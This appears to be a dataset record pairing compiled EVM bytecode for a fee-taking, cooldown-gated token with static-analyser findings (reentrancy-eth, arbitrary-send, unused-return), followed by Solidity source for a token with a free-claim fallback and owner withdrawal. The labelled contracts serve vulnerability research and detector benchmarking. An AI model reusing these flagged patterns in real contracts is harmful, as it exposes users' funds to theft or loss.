52600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040ea61530b0f8c0b12abe3e4961ca8b1ba5e7cbfd3a21865d3f2a4f4b5394bd364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,910 |
0xe9772c1c26e86960e89613b34dd73a4c20ada63e
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FirstTradingEcosystemCoin is StandardToken, Ownable {
// Constants
string public constant name = "First Trading Ecosystem Coin";
string public constant symbol = "FITST";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 998400000 * (10 ** uint256(decimals));
uint256 public constant FREE_SUPPLY = 500000000 * (10 ** uint256(decimals));
uint256 public nextFreeCount = 998 * (10 ** uint256(decimals)) ;
uint256 public constant decr = 0 * (10 ** 1) ;
mapping(address => bool) touched;
function FirstTradingEcosystemCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[address(this)] = FREE_SUPPLY;
emit Transfer(0x0, address(this), FREE_SUPPLY);
balances[msg.sender] = INITIAL_SUPPLY - FREE_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - FREE_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function () external payable {
if (!touched[msg.sender] )
{
touched[msg.sender] = true;
_transfer(address(this), msg.sender, nextFreeCount );
nextFreeCount = nextFreeCount - decr;
}
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
